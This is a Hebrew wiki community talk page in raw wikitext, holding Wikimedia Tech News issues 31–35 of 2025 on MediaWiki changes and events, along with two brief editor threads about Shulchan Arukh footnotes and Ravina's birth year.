להלן '''[[m:Special:MyLanguage/Tech/News|ידיעות הטכנולוגיה]]''' האחרונות מהקהילה הטכנית של קרן ויקימדיה. אנא ספרו למשתמשים אחרים על השינויים האלה. לא כל השינויים ישפיעו עליכם. יש [[m:Special:MyLanguage/Tech/News/2025/31|תרגומים לשפות נוספות]].

'''מגדלור השבוע'''
* צוות הקהילה הטכני יתמקד בחודשים הקרובים ברשימת המעקב ובשינויים האחרונים. הוא מצפה למשוב. ניתן [[m:Special:MyLanguage/Community Wishlist/Updates#July 24, 2025: Watchlists and Recent Changes pages|לקרוא את העדכון האחרון]], וגם [[m:Special:MyLanguage/Community Wishlist|להגיש משאלות]] אם יש רעיונות בנושא.

'''עדכונים לעורכים'''
* קהילת ויקישיתוף החליטה לאסור על [[:mw:Special:MyLanguage/Upload dialog|העלאות בינוויקי]] לכל המשתמשים שאינם ותיקים בוויקישיתוף, החל מ-16 באוגוסט. הסיבה לכך היא [[:c:Commons:Cross-wiki media upload tool/History|בעיות רבות]] בקבצים שהועלו בידי משתמשים טריים. המשתמשים הרלוונטיים יקבלו הודעת שגיאה הכוללת קישור לאשף ההעלאות שיש בו פחות הגבלות. ניתן לעזור בתרגום [[:c:Special:MyLanguage/MediaWiki:Abusefilter-disallowed-cross-wiki-upload|ההודעה]] ולהשאיר משוב על התוכן שלה. אתרי ויקי אחרים מוזמנים לעדכן את דפי העזרה הרלוונטיים כדי להסביר את ההגבלה. [https://phabricator.wikimedia.org/T370598]
* באתרי ויקי בהם הופעלו חשבונות זמניים ובמטא יוכלו המפעילים לקבוע הודעה בתחתית הדף מיוחד:תרומות של החשבונות הזמניים, בדומה למה שקיים בדפי IP ובדפי משתמשים רשומים. ניתן לעשות זאת באמצעות יצירת הדף &lt;span style=&quot;white-space:nowrap&quot;&gt;&lt;code dir=ltr&gt;MediaWiki:Sp-contributions-footer-temp&lt;/code&gt;&lt;/span&gt;. [https://phabricator.wikimedia.org/T398347]
* [[File:Octicons-sync.svg|12px|link=|class=skin-invert|דיווח חוזר]] ראו את {{PLURAL:21|התקלה שדווחה|כל {{formatnum:21}} התקלות שדווחו}} בידי הקהילות ו[[m:Special:MyLanguage/Tech/News/Recently resolved community tasks|תוקנו השבוע]].

'''עדכונים לעורכים הטכניים'''
* [[File:Octicons-sync.svg|12px|link=|class=skin-invert|דיווח חוזר]] פירוט עדכוני הקוד השבוע: [[mw:MediaWiki 1.45/wmf.12|MediaWiki]]

'''פגישות ואירועים'''
* [[wmania:Special:MyLanguage/2025:Wikimania|ויקימניה 2025]] תתקיים בין 6 ל-9 באוגוסט. ניתן לעיין ב[https://wikimedia.eventyay.com/talk/wikimania2025/schedule/ תוכנית האירוע] כדי לבחור פגישות להשתתף בהן. רוב הפגישות ישודרו אונליין למעט אלו בהן מופיע האייקון &quot;בלי מצלמה&quot;. המעוניינים להצטרף אונליין כדי לצפות בפגישות ולהשתמש בכלים האינטראקטיביים מוזמנים [[wmania:Special:MyLanguage/2025:Registration|להרשם]] כדי לקבל כרטיס גישה וירטואלי ללא תשלום. בין היתר יתקיימו פגישות בנושאים הבאים:
** [https://wikimedia.eventyay.com/talk/wikimania2025/talk/KFEFVG/ חשבונות זמניים: שיפור הפרטיות למשתמשים לא רשומים]
** [https://wikimedia.eventyay.com/talk/wikimania2025/talk/TVCVAB/ בניית עתיד בר קיימא לתורמי ויקימדיה]
** [https://wikimedia.eventyay.com/talk/wikimania2025/talk/WTRQCJ/ תריסר נקודות מבט על ויקיטקסט]
** [https://wikimedia.eventyay.com/talk/wikimania2025/talk/8YKKP9/ תיאום בין בעלי העניין עם המועצה המייעצת למוצר ולטכנולוגיה]
* [[mw:Special:MyLanguage/MediaWiki Users and Developers Conference Fall 2025|ועידת משתמשי ומפתחי מדיה-ויקי בסתיו 2025]] תתקיים בין 28 ל-30 באוגוסט בהנובר שבגרמניה. האירוע מאורגן על ידי ועבור קהילת מדיה-ויקי צד שלישי. ניתן להציע נושאים ולהירשם כדי להשתתף.

את '''''[[m:Special:MyLanguage/Tech/News|ידיעות הטכנולוגיה]]''' מכינים [[m:Special:MyLanguage/Tech/News/Writers|שגרירים טכנולוגיים]] והן נשלחות באמצעות [[m:Special:MyLanguage/User:MediaWiki message delivery|בוט]] • [[m:Special:MyLanguage/Tech/News#contribute|לתרום]] • [[m:Special:MyLanguage/Tech/News/2025/31|לתרגם]] • [[m:Tech|לקבל עזרה]] • [[m:Talk:Tech/News|לשלוח משוב]] • [[m:Global message delivery/Targets/Tech ambassadors|לעשות או לבטל מינוי]].''
&lt;/div&gt;&lt;section end=&quot;technews-2025-W31&quot; /&gt;

&lt;bdi lang=&quot;en&quot; dir=&quot;ltr&quot;&gt;[[User:MediaWiki message delivery|MediaWiki message delivery]]&lt;/bdi&gt; 03:27, 29 ביולי 2025 (IDT)
&lt;!-- הודעה שנשלחה על־ידי User:Quiddity (WMF)@metawiki באמצעות הרשימה בדף https://meta.wikimedia.org/w/index.php?title=Global_message_delivery/Targets/Tech_ambassadors&amp;oldid=29051727 --&gt;

== מפרשי שולחן ערוך ==
&lt;div align=&quot;left&quot; dir=&quot;ltr&quot;&gt;
For the pages with each of the individual seif'im some of the mefarshim don't have inline footnotes do you know how to fix this? [[משתמש:Su987654321|Su987654321]] ([[שיחת משתמש:Su987654321|שיחה]]) 17:37, 31 ביולי 2025 (IDT)
: This requires manually placing template {{תב|פרשע1}} within the text of the Shulchan Arukh. You can see how this has been done in the various Simanim of Orach Chayyim from Siman 1 through 31. Enter the page of a Siman in Original Code Editing mode to see how this has been done. If you feel up to it you can copy the method used there elsewhere. [[משתמש:Nahum|Nahum]] ([[שיחת משתמש:Nahum|שיחה]]) 20:04, 31 ביולי 2025 (IDT)
::Okay thanks. [[משתמש:Su987654321|Su987654321]] ([[שיחת משתמש:Su987654321|שיחה]]) 15:07, 1 באוגוסט 2025 (IDT)

---Please add comments above this line---
&lt;/div&gt;

== רבינא האחרון ==

בערך מופיע שנת לידה לפי גירסה ישנה של ויקי, במשך כמה שנים היה שם תבנית דרוש מקור אך לא נמצא מקור כזה. בנוסף לפי הערכת דורות הראשונים בפטירת רב אשי הוא היה כבר דיין, נמצא שנולד קודם לתאריך זה. [[משתמש:Yosichen|Yosichen]] ([[שיחת משתמש:Yosichen|שיחה]]) 15:14, 3 באוגוסט 2025 (IDT)

== ידיעות הטכנולוגיה 2025 – גיליון 32 ==

&lt;section begin=&quot;technews-2025-W32&quot; /&gt;&lt;div class=&quot;plainlinks&quot;&gt;
להלן '''[[m:Special:MyLanguage/Tech/News|ידיעות הטכנולוגיה]]''' האחרונות מהקהילה הטכנית של קרן ויקימדיה. אנא ספרו למשתמשים אחרים על השינויים האלה. לא כל השינויים ישפיעו עליכם. יש [[m:Special:MyLanguage/Tech/News/2025/32|תרגומים לשפות נוספות]].

'''עדכונים לעורכים'''
* מעכשיו אפשר לקבל [[mw:Special:MyLanguage/Product Safety and Integrity/Anti-abuse signals/User Info|כרטיס מידע על משתמש]]. אייקון מופיע ליד שמות משתמש בדפי היסטוריה ודפים דומים עם מידע על פעולות משתמשים. בלחיצה מופיע מידע על החשבון, דוגמת מספר העריכות, מספר השחזורים, החסימות ועוד. מדובר בחלק מפרויקט נרחב יותר להקל על מנטרים בדיקות מהימנות של משתמשים. ניתן להדליק את הכרטיסים ב[[testwiki:Special:GlobalPreferences#mw-prefsection-rendering|העדפות גלובליות]], ובהמשך השבוע גם בהעדפות מקומיות באתרי ויקי. [https://phabricator.wikimedia.org/T386439]
* כולם מוזמנים להשאיר הערות לגבי [[m:Special:MyLanguage/CampaignEvents/Collaborative contributions|תרומות משותפות]], מיזם שהושק לאחרונה בידי [[m:Special:MyLanguage/Connection Team|צוות התקשורת]]. הוא עוזר למצוא דרך חדשה לתצוגת ההשפעה של פעולות עריכה משותפות, כמו מרתוני עריכה ומיזמי ויקי, באתרי ויקי שונים. ניתן לכתוב הערות ב[[m:Talk:CampaignEvents/Collaborative contributions|דף השיחה של המיזם]]. [https://phabricator.wikimedia.org/T378035]
* מפעילים יכולים עכשיו להגדיר את תקופת החסימה כברירת מחדל לחשבונות זמניים. כדי לעשות זאת יש ליצור דף בשם &lt;code dir=ltr&gt;MediaWiki:Ipb-default-expiry-temporary-account&lt;/code&gt; ולהשתמש בערך &lt;code dir=ltr&gt;MediaWiki:Ipboptions&lt;/code&gt;. זה מאפשר למפעילים לחסום בקלות חשבונות זמניים ל-90 יום, מה שפונקציונלית שקול לחסימה ללא הגבלה, והיתרון הוא שבצורה כזאת לא מושפע הדף מיוחד:משתמשים חסומים. ישנו [[mw:Special:MyLanguage/Manual:Block and unblock#Default block duration options|תיעוד נוסף]]. [https://phabricator.wikimedia.org/T398626]
* [[File:Octicons-sync.svg|12px|link=|class=skin-invert|דיווח חוזר]] ראו את {{PLURAL:27|התקלה שדווחה|כל {{formatnum:27}} התקלות שדווחו}} בידי הקהילות ו[[m:Special:MyLanguage/Tech/News/Recently resolved community tasks|תוקנו השבוע]].

'''עדכונים לעורכים הטכניים'''
* גאדג'טים יכולים עכשיו להכיל קבצי &lt;code dir=ltr&gt;.vue&lt;/code&gt;. זה יקל לפתח ממשקי משתמש חדישים באמצעות [[mw:Vue.js|Vue.js]], במיוחד דרך [[mw:Special:MyLanguage/Codex|Codex]], מערכת העיצוב הרשמית של ויקימדיה. ניתן לטעון [[wmdoc:codex/latest/icons/overview.html|אייקונים של Codex]] באמצעות הגדרות הגאדג'טים. ישנן דוגמאות [[mw:Special:MyLanguage/Extension:Gadgets#Pages|בתיעוד]]. עבור סקריפטים אישיים המשתמשים ב-Vue.js קיימת עכשיו [[mw:API:CodexIcons|יחידת API]] המאפשרת לטעון את האייקונים. [https://phabricator.wikimedia.org/T340460][https://phabricator.wikimedia.org/T311099]
* מפתחי היחידות יכולים להשתמש עכשיו ב[[mw:Help:Extension:Translate/Message Bundles/Lua reference|ממשק לואה]] כדי להקל על ההכנות של יחידות בלואה לתרגום במטא. השיפור הזה מקל על המתרגמים למצוא ולערוך שורות ביחידה בלי צורך לשקוע בקוד לואה. הוא גם עוזר למנוע שגיאות שישברו את היחידה בזמן התרגום. מפתחי היחידות ומתרגמים מוזמנים לצפות ב[[commons:File:Translatable modules video demo July 2025.webm|סרטון ההדגמה]], לקרוא פרטים לגבי [[mw:Special:MyLanguage/Translatable modules|מודולים הניתנים לתרגום]] להבנת המנגנון, לפנות ל[[m:Module:User Wikimedia project|יחידה:User Wikimedia project]] במטא לדוגמה עובדת ו[[mw:Talk:Translatable modules|להשאיר את המשוב]] על כמה הפתרון החדש לוקח בחשבון בעיות שניתן להתקל בהן. לממשק יש עדיין כמה בעיות יעילות, כך שאין להשתמש בו בינתיים ביחידות בשימוש נרחב. [https://phabricator.wikimedia.org/T359918]
* מפתחי כלים חיצוניים המקושרים לדפי ויקימדיה חייבים לקבוע user-agent שתואם ל[[foundation:Special:MyLanguage/Policy:Wikimedia Foundation User-Agent Policy|מדיניות בנושא]]. המדיניות תיושם בצורה קשיחה יותר החל מאוגוסט בגלל בוטים חיצוניים העושים [[diffblog:2025/04/01/how-crawlers-impact-the-operations-of-the-wikimedia-projects/|שימוש יתר]] במשאבי ויקימדיה. הכלים ב-Toolforge וב-Cloud VPS לא יושפעו נכון לעכשיו, אבל עדיין צריכים לקבוע user-agent. ניתן למצוא [[phab:T400119|פרטים טכניים נוספים]], ולשאול שאלות בפבריקטור.
* תצוגות הקריאה של פרסואיד תיפרס בכמה ויקיפדיות קטנות בשבועות הקרובים, בעקבות מעבר מוצלח של אתרי ויקימסע וויקימילון. פרטים נוספים ניתן למצוא ב[[mw:Special:MyLanguage/Parsoid/Parser Unification|דף המיזם]]. [https://phabricator.wikimedia.org/project/profile/7694/]
* [[File:Octicons-sync.svg|12px|link=|class=skin-invert|דיווח חוזר]] פירוט עדכוני הקוד השבוע: [[mw:MediaWiki 1.45/wmf.13|MediaWiki]]

'''פגישות ואירועים'''
* [[wmania:Special:MyLanguage/2025:Wikimania|ויקימניה 2025]] תתקיים בין 6 ל-9 באוגוסט. ניתן לעיין ב[https://wikimedia.eventyay.com/talk/wikimania2025/schedule/ תוכנית האירוע] כדי לבחור פגישות להשתתף בהן. רוב הפגישות ישודרו אונליין למעט אלו בהן מופיע האייקון &quot;בלי מצלמה&quot;. המעוניינים להצטרף אונליין כדי לצפות בפגישות ולהשתמש בכלים האינטראקטיביים מוזמנים [[wmania:Special:MyLanguage/2025:Registration|להרשם]] כדי לקבל כרטיס גישה וירטואלי ללא תשלום. בין היתר יתקיימו פגישות בנושאים הבאים:
** [https://wikimedia.eventyay.com/talk/wikimania2025/talk/GEH9DH/ תשתית הידע של ויקימדיה באינטרנט המשתנה: קביעת דרכים בני קיימא לשימוש מחדש בתוכן].
** [https://wikimedia.eventyay.com/talk/wikimania2025/talk/7ELN9Q/ ויקיפונקציות יגיעו בקרוב לאתרי ויקי שלכם]
** [https://wikimedia.eventyay.com/talk/wikimania2025/talk/ZMGVJV/ שיתוף העתיד של חווית הקריאה בוויקיפדיה]
** [https://wikimedia.eventyay.com/talk/wikimania2025/talk/KCKTFZ/ הפיכת ויקיפדיה לקריאה יותר: מה הלאה]

את '''''[[m:Special:MyLanguage/Tech/News|ידיעות הטכנולוגיה]]''' מכינים [[m:Special:MyLanguage/Tech/News/Writers|שגרירים טכנולוגיים]] והן נשלחות באמצעות [[m:Special:MyLanguage/User:MediaWiki message delivery|בוט]] • [[m:Special:MyLanguage/Tech/News#contribute|לתרום]] • [[m:Special:MyLanguage/Tech/News/2025/32|לתרגם]] • [[m:Tech|לקבל עזרה]] • [[m:Talk:Tech/News|לשלוח משוב]] • [[m:Global message delivery/Targets/Tech ambassadors|לעשות או לבטל מינוי]].''
&lt;/div&gt;&lt;section end=&quot;technews-2025-W32&quot; /&gt;

&lt;bdi lang=&quot;en&quot; dir=&quot;ltr&quot;&gt;[[User:MediaWiki message delivery|MediaWiki message delivery]]&lt;/bdi&gt; 06:41, 5 באוגוסט 2025 (IDT)
&lt;!-- הודעה שנשלחה על־ידי User:Quiddity (WMF)@metawiki באמצעות הרשימה בדף https://meta.wikimedia.org/w/index.php?title=Global_message_delivery/Targets/Tech_ambassadors&amp;oldid=29083927 --&gt;

== ידיעות הטכנולוגיה 2025 – גיליון 33 ==

&lt;section begin=&quot;technews-2025-W33&quot; /&gt;&lt;div class=&quot;plainlinks&quot;&gt;
להלן '''[[m:Special:MyLanguage/Tech/News|ידיעות הטכנולוגיה]]''' האחרונות מהקהילה הטכנית של קרן ויקימדיה. אנא ספרו למשתמשים אחרים על השינויים האלה. לא כל השינויים ישפיעו עליכם. יש [[m:Special:MyLanguage/Tech/News/2025/33|תרגומים לשפות נוספות]].

'''עדכונים לעורכים'''
* סרגל הכלים בעורך קוד מקור כולל עכשיו [[mw:Special:MyLanguage/Help:Extension:WikiEditor#Keyboard shortcuts|מקשי קיצור]] בטולטיפים של הכפתורים. זה יעזור לשפר את חשיפתם. [https://phabricator.wikimedia.org/T400583]
* [[m:Special:MyLanguage/Product and Technology Advisory Council|הוועדה המייעצת של המוצר והטכנולוגיה]] פרסמה שורת [[m:Special:MyLanguage/Product and Technology Advisory Council/August 2025 draft PTAC proposals for feedback|הצעות לניסוי]] באמצעותן תוכל קרן ויקימדיה לנסות ולשפר את התקשורת עם הקהילה. את המשוב על ההצעות ניתן להשאיר עד 22 באוגוסט ב[[m:Talk:Product and Technology Advisory Council/August 2025 draft PTAC proposals for feedback|דף השיחה]].
* שדה חיפוש ויקי בעיצוב מינרווה המיועד לניידים עודכן, והוא משתמש עכשיו באותו חיפוש עם השלמה אוטומטית כמו בווקטור החדש. אין שינוי בפונקציונליות, אבל ישנם שינויים קטנים במראה. למשל. כפתור הסגירה השתנה מ-&quot;X&quot; לחץ לאחור, כדי להבדיל מכפתור ה-&quot;X&quot; המוחק את הטקסט. [https://phabricator.wikimedia.org/T393944]
* עורכים בכמה אתרי ויקי יכולים לראות מפסק חדש &quot;קיבוץ השינויים לפי דפים&quot; ברשימת המעקב ובדפי השינויים הקשורים והשינויים האחרונים. מדובר ב[[mw:Special:MyLanguage/Moderator Tools/Watchlist/Experiment|ניסוי A/B]] שיחל ב-11 באוגוסט ויימשך בין 3 ל-6 שבועות בוויקיפדיות הבנגלית, הסינית, הצ'כית, הצרפתית, היוונית, הפורטוגזית ובשפת אורדו. הניסוי יבדוק עד כמה הפיכת הכלי הזה לזמין יותר תעזור לעורכים מצוא את העריכות הדרושות. [https://phabricator.wikimedia.org/T396789]
* [[File:Octicons-sync.svg|12px|link=|class=skin-invert|דיווח חוזר]] ראו את {{PLURAL:31|התקלה שדווחה|כל {{formatnum:31}} התקלות שדווחו}} בידי הקהילות ו[[m:Special:MyLanguage/Tech/News/Recently resolved community tasks|תוקנו השבוע]].

'''עדכונים לעורכים הטכניים'''
* קבוצות המידע מרובי ויקי של [[:wikt:en:Module:Unicode data|מידע יוניקוד]] הועברו לקטגוריה [[c:Category:Unicode Module Datasets|Unicode Module Datasets]] בוויקישיתוף, בהתאם לרעיון &quot;מקור נתונים יחיד משותף עבור אתרי ויקי רבים&quot;. רוב אתרי ויקי עודכנו לשימוש בגרסת ויקישיתוף. ניתן להציג שאלות ב[[c:Category talk:Unicode Module Datasets|דף השיחה]]. [https://en.wiktionary.org/wiki/Module_talk:Unicode_data#Data_from_commons]
* קוד לואה יכול להוסיף אזהרות במקרה שמשהו השתבש, באמצעות הפונקציה &lt;code dir=ltr&gt;mw.addWarning()&lt;/code&gt;. עד כה כל אזהרה חדשה החליפה את הישנה, ומעכשיו ניתן להראות יותר מאזהרה אחת בו זמנית. אם אתם עובדים עם יחידת לואה המשתמשת באזהרות עליכם לבדוק שהיא ממשיכה לפעול כראוי. [https://phabricator.wikimedia.org/T398390]
* [[File:Octicons-sync.svg|12px|link=|class=skin-invert|דיווח חוזר]] פירוט עדכוני הקוד השבוע: [[mw:MediaWiki 1.45/wmf.14|MediaWiki]]

את '''''[[m:Special:MyLanguage/Tech/News|ידיעות הטכנולוגיה]]''' מכינים [[m:Special:MyLanguage/Tech/News/Writers|שגרירים טכנולוגיים]] והן נשלחות באמצעות [[m:Special:MyLanguage/User:MediaWiki message delivery|בוט]] • [[m:Special:MyLanguage/Tech/News#contribute|לתרום]] • [[m:Special:MyLanguage/Tech/News/2025/33|לתרגם]] • [[m:Tech|לקבל עזרה]] • [[m:Talk:Tech/News|לשלוח משוב]] • [[m:Global message delivery/Targets/Tech ambassadors|לעשות או לבטל מינוי]].''
&lt;/div&gt;&lt;section end=&quot;technews-2025-W33&quot; /&gt;

&lt;bdi lang=&quot;en&quot; dir=&quot;ltr&quot;&gt;[[User:MediaWiki message delivery|MediaWiki message delivery]]&lt;/bdi&gt; 02:30, 12 באוגוסט 2025 (IDT)
&lt;!-- הודעה שנשלחה על־ידי User:Quiddity (WMF)@metawiki באמצעות הרשימה בדף https://meta.wikimedia.org/w/index.php?title=Global_message_delivery/Targets/Tech_ambassadors&amp;oldid=29106516 --&gt;

== ידיעות הטכנולוגיה 2025 – גיליון 34 ==

&lt;section begin=&quot;technews-2025-W34&quot; /&gt;&lt;div class=&quot;plainlinks&quot;&gt;
להלן '''[[m:Special:MyLanguage/Tech/News|ידיעות הטכנולוגיה]]''' האחרונות מהקהילה הטכנית של קרן ויקימדיה. אנא ספרו למשתמשים אחרים על השינויים האלה. לא כל השינויים ישפיעו עליכם. יש [[m:Special:MyLanguage/Tech/News/2025/34|תרגומים לשפות נוספות]].

'''עדכונים לעורכים'''
* בהמשך השבוע יוכלו משתמשים מחוברים העובדים עם [[Special:Preferences#mw-prefsection-betafeatures|מנגנון בטא]] בשם &quot;[[mw:Special:MyLanguage/Talk pages project/Feature summary|כלי שיחה]]&quot;  להודות על תגובות משתמשים אחרים ישירות מדפי השיחה בלי צורך לחפש את העריכה הרלוונטית בהיסטוריה. ניתן לקבל [[mw:Special:MyLanguage/Talk pages project/Feature summary#Comment actions|פרטים נוספים]]. [https://phabricator.wikimedia.org/T400849]
* [[w:he:בדיקת A/B|בדיקת A/B]] המשווה בין שתי גרסאות של קישור תרומה לקרן ויקימדיה החלה בטסטוויקי ב-12 באוגוסט ובוויקיאנגלית ב-14 באוגוסט עבור 0.1% משתמשים לא מחוברים במצב מחשב. הניסוי יימשך כשלושה שבועות, ויסתיים ב-12 בספטמבר. [https://phabricator.wikimedia.org/T395716]
* בדיקת A/A למדידת רמת שימור הקוראים החלה ב-12 באוגוסט באמצעות [[wikitech:Experimentation Lab|מעבדת הניסויים]]. מבחן זה מודד את אחוז המשתמשים שמבקרים מחדש בוויקי במשך תקופה של 14 יום לאחר ביקורם הראשון. לא צפויים שינויים חזותיים. הניסוי יימשך עד 31 באוגוסט. [https://phabricator.wikimedia.org/T399227]
* חמישה אתרי ויקי חדשים נוצרו:
** {{int:project-localized-name-group-wikisource/he}} בשפת [[d:Q34057|טאגאלוג]] ([[s:tl:|&lt;code&gt;s:tl:&lt;/code&gt;]]) [https://phabricator.wikimedia.org/T388639]
** {{int:project-localized-name-group-wikisource/he}} ב[[d:Q36213|מאדורית]] ([[s:mad:|&lt;code&gt;s:mad:&lt;/code&gt;]]) [https://phabricator.wikimedia.org/T391747]
** {{int:project-localized-name-group-wikipedia/he}} בשפת [[d:Q3450749|ראקין]] ([[w:rki:|&lt;code&gt;w:rki:&lt;/code&gt;]]) [https://phabricator.wikimedia.org/T392490]
** {{int:project-localized-name-group-wikibooks/he}} בשפת [[d:Q13324|מיננגקבאו]] ([[b:min:|&lt;code&gt;b:min:&lt;/code&gt;]]) [https://phabricator.wikimedia.org/T395452]
** {{int:project-localized-name-group-wiktionary/he}} בשפת [[d:Q7598268|אמזיג מרוקאית תקנית]] ([[wikt:zgh:|&lt;code&gt;wikt:zgh:&lt;/code&gt;]]) [https://phabricator.wikimedia.org/T399684]
* [[File:Octicons-sync.svg|12px|link=|class=skin-invert|דיווח חוזר]] ראו את {{PLURAL:46|התקלה שדווחה|כל {{formatnum:46}} התקלות שדווחו}} בידי הקהילות ו[[m:Special:MyLanguage/Tech/News/Recently resolved community tasks|תוקנו השבוע]].

'''עדכונים לעורכים הטכניים'''
* [[File:Octicons-sync.svg|12px|link=|class=skin-invert|דיווח חוזר]] פירוט עדכוני הקוד השבוע: [[mw:MediaWiki 1.45/wmf.15|MediaWiki]]

את '''''[[m:Special:MyLanguage/Tech/News|ידיעות הטכנולוגיה]]''' מכינים [[m:Special:MyLanguage/Tech/News/Writers|שגרירים טכנולוגיים]] והן נשלחות באמצעות [[m:Special:MyLanguage/User:MediaWiki message delivery|בוט]] • [[m:Special:MyLanguage/Tech/News#contribute|לתרום]] • [[m:Special:MyLanguage/Tech/News/2025/34|לתרגם]] • [[m:Tech|לקבל עזרה]] • [[m:Talk:Tech/News|לשלוח משוב]] • [[m:Global message delivery/Targets/Tech ambassadors|לעשות או לבטל מינוי]].''
&lt;/div&gt;&lt;section end=&quot;technews-2025-W34&quot; /&gt;

&lt;bdi lang=&quot;en&quot; dir=&quot;ltr&quot;&gt;[[User:MediaWiki message delivery|MediaWiki message delivery]]&lt;/bdi&gt; 03:39, 19 באוגוסט 2025 (IDT)
&lt;!-- הודעה שנשלחה על־ידי User:Quiddity (WMF)@metawiki באמצעות הרשימה בדף https://meta.wikimedia.org/w/index.php?title=Global_message_delivery/Targets/Tech_ambassadors&amp;oldid=29127690 --&gt;

== ידיעות הטכנולוגיה 2025 – גיליון 35 ==

&lt;section begin=&quot;technews-2025-W35&quot; /&gt;&lt;div class=&quot;plainlinks&quot;&gt;
להלן '''[[m:Special:MyLanguage/Tech/News|ידיעות הטכנולוגיה]]''' האחרונות מהקהילה הטכנית של קרן ויקימדיה. אנא ספרו למשתמשים אחרים על השינויים האלה. לא כל השינויים ישפיעו עליכם. יש [[m:Special:MyLanguage/Tech/News/2025/35|תרגומים לשפות נוספות]].

'''עדכונים לעורכים'''
* [[File:Octicons-gift.svg|12px|link=|class=skin-invert|סקר המשאלות]] [[File:Octicons-tools.svg|12px|link=|class=skin-invert|דיווח טכני]] עורכי התבניות יכולים עכשיו להשתמש בתכונות נוספות של CSS, מכיוון שמנקה ה-CSS שנעשה בו שימוש ב-[[mw:Special:MyLanguage/Help:TemplateStyles|TemplateStyles]] עודכן לאחרונה. למשל, &lt;span style=&quot;white-space:nowrap&quot;&gt;&lt;code&gt;width: fit-content&lt;/code&gt;&lt;/span&gt;,&amp;rlm; &lt;span style=&quot;white-space:nowrap&quot;&gt;&lt;code&gt;ruby-align&lt;/code&gt;&lt;/span&gt;, יחידות יחסיות דוגמת &lt;code&gt;lh&lt;/code&gt;, או מחרוזות עם טקסט חופשי ב-&lt;span style=&quot;white-space:nowrap&quot;&gt;&lt;code&gt;list-style-type&lt;/code&gt;&lt;/span&gt;. השיפורים הללו נעשו כמסגרת [[m:Special:MyLanguage/Community Wishlist/Wishes/Allow use of modern CSS in templates by updating the TemplateStyles CSS sanitizer|סקר משאלות הקהילה]]. [https://phabricator.wikimedia.org/T271958][https://phabricator.wikimedia.org/T277755][https://phabricator.wikimedia.org/T293633][https://phabricator.wikimedia.org/T295088][https://phabricator.wikimedia.org/T326906][https://phabricator.wikimedia.org/T340057][https://phabricator.wikimedia.org/T360725][https://phabricator.wikimedia.org/T371809][https://phabricator.wikimedia.org/T375344][https://phabricator.wikimedia.org/T394619]
* ברירת המחדל של זמן הצגת העריכות בדף Special:RecentChanges (שינויים אחרונים) שוּנה באתרי ויקי גדולים מ־7 ימים ליום אחד. זהו חלק ממיזם לשיפור ביצועים. לא אמורה להיות לזה השפעה על משתמשים בשל כמות העריכות באתרי הוויקי האלה. [https://phabricator.wikimedia.org/T399455]
* מפעילים יכולים עכשיו לגשת לדף [[{{#special:BlockedExternalDomains}}]] מהדף [[{{#special:CommunityConfiguration}}]]. זה מקל על המציאה שלו. [https://phabricator.wikimedia.org/T393240]
* סרטים בוויקישיתוף לא הוצגו בלשונית סרטונים (Video) בחיפוש גוגל. הבעיה הזאת נחקרה ודווחה לגוגל, שתיקנו אותה. [https://phabricator.wikimedia.org/T396168][https://meta.wikimedia.org/wiki/Community_Wishlist/Wishes/Do_something_about_Google_%26_DuckDuckGo_search_not_indexing_media_files_and_categories_on_Commons] 
* נוצר ויקי חדש אחד: {{int:project-localized-name-group-wiktionary/he}} ב[[d:Q33014|בטאווי]] ([[wikt:bew:|&lt;code&gt;wikt:bew:&lt;/code&gt;]]) [https://phabricator.wikimedia.org/T402130]
* [[File:Octicons-sync.svg|12px|link=|class=skin-invert|דיווח חוזר]] ראו את {{PLURAL:39|התקלה שדווחה|כל {{formatnum:39}} התקלות שדווחו}} בידי הקהילות ו[[m:Special:MyLanguage/Tech/News/Recently resolved community tasks|תוקנו השבוע]].

'''עדכונים לעורכים הטכניים'''
* שני שדות ב[[mw:Special:MyLanguage/Manual:Recentchanges table|טבלת recentchanges במסד הנתונים]] הולכים להימחק. &lt;code&gt;rc_new&lt;/code&gt; ו־&lt;code&gt;rc_type&lt;/code&gt; נמחקים לטובת &lt;code&gt;rc_source&lt;/code&gt;. שאילתות שמשתמשות בשדות האלה יתחילו להיכשל השבוע ומפתחים צריכים להשתמש ב־&lt;code&gt;rc_source&lt;/code&gt; במקומם. השדות הישנים האלה הוכרזו בתור מיושנים לפני עשר שנים ולא צריכים להיות בשימוש. זהו חלק מעבודה על שיפור ביצועים ויציבות שאילתות בטבלת recentchanges. [https://phabricator.wikimedia.org/T400696] 
* [[File:Octicons-sync.svg|12px|link=|class=skin-invert|דיווח חוזר]] פירוט עדכוני הקוד השבוע: [[mw:MediaWiki 1.45/wmf.16|MediaWiki]]

'''לעומק'''
* הרבעון האחרון של ידיעון [[mw:Special:MyLanguage/Wikimedia Language and Product Localization/Newsletter/2025/July|שפות והתאמה ביו־לאומית]] זמין עכשיו. המהדורה הזאת כוללת: תמיכה בשפות חדשות במדיה־ויקי ובטרנסלייטוויקי; תחילת מיזם קליטה ופיתוח של שפות כדי לעזור לצמיחה של אתרי ויקי חדשים וקטנים; עדכונים על מחקרים; ועוד.

'''פגישות ואירועים'''
* [[mw:Special:MyLanguage/Wikimedia Language and Product Localization/Community meetings#29 August 2025|הפגישה הבאה של קהילת השפות]] תיערך בקרוב, 29 באוגוסט ב-[https://zonestamp.toolforge.org/1756479600 15:00 UTC] (או 18:00 שעון ישראל). הפגישה השבוע תעסוק בין היתר במפתחים של מקלדת Avro מוויקימדיה בנגלדש, שקיבלו פרס לאומי בעבור התרומות שלהם למקלדת הזאת. 

את '''''[[m:Special:MyLanguage/Tech/News|ידיעות הטכנולוגיה]]''' מכינים [[m:Special:MyLanguage/Tech/News/Writers|שגרירים טכנולוגיים]] והן נשלחות באמצעות [[m:Special:MyLanguage/User:MediaWiki message delivery|בוט]] • [[m:Special:MyLanguage/Tech/News#contribute|לתרום]] • [[m:Special:MyLanguage/Tech/News/2025/35|לתרגם]] • [[m:Tech|לקבל עזרה]] • [[m:Talk:Tech/News|לשלוח משוב]] • [[m:Global message delivery/Targets/Tech ambassadors|לעשות או לבטל מינוי]].''
&lt;/div&gt;&lt;section end=&quot;technews-2025-W35&quot; /&gt;

&lt;bdi lang=&quot;en&quot; dir=&quot;ltr&quot;&gt;[[User:MediaWiki message delivery|MediaWiki message delivery]]&lt;/bdi&gt; 03:13, 26 באוגוסט 2025 (IDT)
&lt;!-- הודעה שנשלחה על־ידי User:Quiddity (WMF)@metawiki באמצעות הרשימה בדף https://meta.wikimedia.org/w/index.php?title=Global_message_delivery/Targets/Tech_ambassadors&amp;oldid=29175124 --&gt;

== ידיעות הטכנולוגיה 2025 – גיליון 36 ==

&lt;section begin=&quot;technews-2025-W36&quot; /&gt;&lt;div class=&quot;plainlinks&quot;&gt;
